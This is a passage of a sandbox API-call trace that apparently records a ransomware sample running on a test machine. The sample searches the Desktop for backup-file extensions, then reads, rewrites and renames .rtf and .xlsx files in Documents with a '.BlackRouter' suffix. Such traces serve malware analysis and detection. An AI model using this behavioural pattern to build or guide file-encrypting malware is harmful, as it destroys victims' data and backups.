lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BBB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BBZ", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BCK", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BCKP", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BCM", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BDB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BFF", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BIF", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BIFX", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BK1", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BKC", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BKF", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BKP", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BKUP", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BKZ", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dvtel", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BLEND1", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BLEND2", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BM3", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BMK", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BOOKEXPORT", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BPA", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BPB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BPM", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BPN", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BPS", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BUP", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CAA", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CBK", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CBS", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CBU", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.598] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.599] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CENON~", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CK9", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CMF", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CRDS", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.619] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0040.626] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.626] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.627] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.628] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.628] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0040.635] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.635] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.636] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.636] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.637] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.637] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.637] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.637] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0040.638] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.638] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x2bea00 [0040.644] ReadFile (in: hFile=0x258, lpBuffer=0x14709580, nNumberOfBytesToRead=0x2bea00, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x14709580*, lpNumberOfBytesRead=0x1ae708*=0x2bea00, lpOverlapped=0x0) returned 1 [0040.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0040.890] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.891] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.892] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.893] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0040.894] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0040.896] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0040.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\_ZlzGl.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\_zlzgl.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.896] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x3a74 [0040.896] ReadFile (in: hFile=0x258, lpBuffer=0x29592f8, nNumberOfBytesToRead=0x3a74, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29592f8*, lpNumberOfBytesRead=0x1ae668*=0x3a74, lpOverlapped=0x0) returned 1 [0040.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\_ZlzGl.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\_zlzgl.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\_ZlzGl.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\_zlzgl.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c5fe70, ftCreationTime.dwHighDateTime=0x1d4609f, ftLastAccessTime.dwLowDateTime=0xf3dba860, ftLastAccessTime.dwHighDateTime=0x1d459a2, ftLastWriteTime.dwLowDateTime=0xbee43ab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a80)) returned 1 [0040.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\_ZlzGl.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\_zlzgl.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\_ZlzGl.rtf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\_zlzgl.rtf.blackrouter")) returned 1 [0040.901] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0040.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\2T8Guyc4BQWYD8Mr.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\2t8guyc4bqwyd8mr.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.901] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xd951 [0040.901] ReadFile (in: hFile=0x258, lpBuffer=0x296c9c8, nNumberOfBytesToRead=0xd951, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x296c9c8*, lpNumberOfBytesRead=0x1ae668*=0xd951, lpOverlapped=0x0) returned 1 [0040.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\2T8Guyc4BQWYD8Mr.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\2t8guyc4bqwyd8mr.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\2T8Guyc4BQWYD8Mr.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\2t8guyc4bqwyd8mr.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb454a830, ftCreationTime.dwHighDateTime=0x1d45872, ftLastAccessTime.dwLowDateTime=0x3c13f230, ftLastAccessTime.dwHighDateTime=0x1d459e5, ftLastWriteTime.dwLowDateTime=0xbee43ab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd960)) returned 1 [0040.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\2T8Guyc4BQWYD8Mr.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\2t8guyc4bqwyd8mr.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\2T8Guyc4BQWYD8Mr.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\2t8guyc4bqwyd8mr.xlsx.blackrouter")) returned 1 [0040.908] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.908] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.914] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.914] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: 